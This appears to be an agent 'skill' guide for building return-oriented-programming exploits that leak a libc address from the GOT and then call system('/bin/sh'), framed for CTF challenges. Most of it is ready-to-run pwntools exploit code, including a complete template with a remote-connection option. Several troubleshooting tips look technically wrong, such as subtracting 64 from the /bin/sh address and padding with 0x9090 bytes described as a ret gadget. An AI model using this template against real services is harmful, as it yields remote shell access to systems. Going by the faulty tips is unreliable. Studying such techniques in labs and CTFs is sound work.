ROP Libc Leak Exploitation
A skill for creating Return-Oriented Programming (ROP) exploits that leak libc addresses to bypass ASLR (Address Space Layout Randomization) in binary exploitation challenges.
When to Use This Skill
Use this skill when:
- You have a buffer overflow vulnerability and need to leak libc addresses
- You're working on CTF challenges with ASLR protection
- You need to call libc functions like
system(),puts(), orprintf() - The binary has a GOT (Global Offset Table) you can exploit
- You need to chain ROP gadgets to achieve code execution
Core Concept
The exploit works in two stages:
- Leak Stage: Use
puts()orprintf()to leak a libc function address from the GOT - Exploit Stage: Calculate libc base address and call
system("/bin/sh")
Prerequisites
- pwntools installed (
pip install pwntools) - The vulnerable binary
- Knowledge of the offset to overwrite the return address
- A libc library (can be found at https://libc.blukat.me/)
Step-by-Step Exploitation
Step 1: Setup and Connection
from pwn import *
# Connection settings
LOCAL = True # Set to False for remote
REMOTE = False
if LOCAL:
p = process("./vuln")
elf = ELF("./vuln")
else:
p = remote("host", port)
elf = ELF("./vuln")
# Initialize ROP
rop = ROP(elf)
Step 2: Find the Offset
Use cyclic patterns to find where the return address is overwritten:
from pwn import cyclic, cyclic_find
# Generate cyclic pattern
payload = cyclic(264) + b"AAAAAAAA"
p.sendline(payload)
# After crash, find the offset
# In GDB: x/wx $rsp to see the value
# Then: cyclic_find(0x61616161) # Replace with actual value
Step 3: Find Gadgets
# Find pop rdi; ret gadget (needed to set function arguments)
POP_RDI = next(rop.gadgets.search(r'^pop rdi; ret$'))
# Get function addresses
PUTS_PLT = elf.plt['puts'] # or elf.plt['printf']
MAIN = elf.symbols['main'] # or find manually if stripped
Step 4: Leak libc Address
# Get address of puts in GOT
PUTS_GOT = elf.got['puts']
# Build ROP chain to leak
rop_chain = p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN)
# Send payload
p.sendline(OFFSET + rop_chain)
# Receive leaked address
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked puts address: {hex(leaked)}")
Step 5: Calculate libc Base
# Load the libc file
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# Calculate base address
libc.address = leaked - libc.symbols['puts']
log.info(f"libc base: {hex(libc.address)}")
Step 6: Final Exploitation
# Find /bin/sh and system
BINSH = next(libc.search(b"/bin/sh"))
SYSTEM = libc.symbols['system']
# Build final ROP chain
final_rop = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM)
# Send and get shell
p.sendline(OFFSET + final_rop)
p.interactive()
Common Issues and Solutions
Issue: main symbol not found
Cause: Binary is stripped (no symbols)
Solution: Find main address manually:
objdump -d vuln_binary | grep ".text"
Then set it manually:
MAIN = 0x401080 # Replace with actual address
Issue: sh: 1: %s%s%s%s%s%s%s%s: not found
Cause: /bin/sh address is misaligned (must be 16-byte aligned)
Solution: Subtract 64 bytes:
BINSH = next(libc.search(b"/bin/sh")) - 64
Issue: Wrong libc library
Cause: Using incorrect libc version
Solution: Verify libc base ends in 0x0:
if hex(libc.address)[-1] != '0':
log.error("Wrong libc! Base should end in 0x0")
Find correct libc at https://libc.blukat.me/ using the leaked address.
Issue: Payload alignment
Cause: Stack must be 16-byte aligned for some libc versions
Solution: Add padding:
def align_payload(payload):
if len(payload) % 16 == 0:
return payload
else:
return payload + p64(0x9090909090909090) # Add ret gadget
Complete Template
from pwn import *
# Configuration
OFFSET = 264 # Replace with actual offset
LOCAL = True
# Connection
if LOCAL:
p = process("./vuln")
elf = ELF("./vuln")
else:
p = remote("host", port)
elf = ELF("./vuln")
rop = ROP(elf)
# Gadgets
POP_RDI = next(rop.gadgets.search(r'^pop rdi; ret$'))
PUTS_PLT = elf.plt['puts']
MAIN = elf.symbols['main']
# Leak libc
PUTS_GOT = elf.got['puts']
leak_rop = p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN)
p.sendline(b"A" * OFFSET + leak_rop)
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
# Calculate libc base
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked - libc.symbols['puts']
# Exploit
BINSH = next(libc.search(b"/bin/sh"))
SYSTEM = libc.symbols['system']
exploit_rop = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM)
p.sendline(b"A" * OFFSET + exploit_rop)
p.interactive()
Tips for Success
- Always verify the libc - Wrong libc = wrong addresses = no shell
- Check for alignment - Some libc versions require 16-byte stack alignment
- Use GDB - Attach with
gdb.attach(p)to debug locally - Test locally first - Before trying remote exploitation
- Handle echoes - If the binary echoes input, account for it when receiving
Tools
ROPgadget- Find ROP gadgets:ROPgadget --binary vuln | grep "pop rdi"one_gadget- Find one-gadget shells:one_gadget libc.so.6pwntools- Python exploitation frameworklibc.blukat.me- Find libc from leaked addresses
Security Note
This skill is for educational purposes and CTF challenges only. Only use these techniques on systems you own or have explicit permission to test.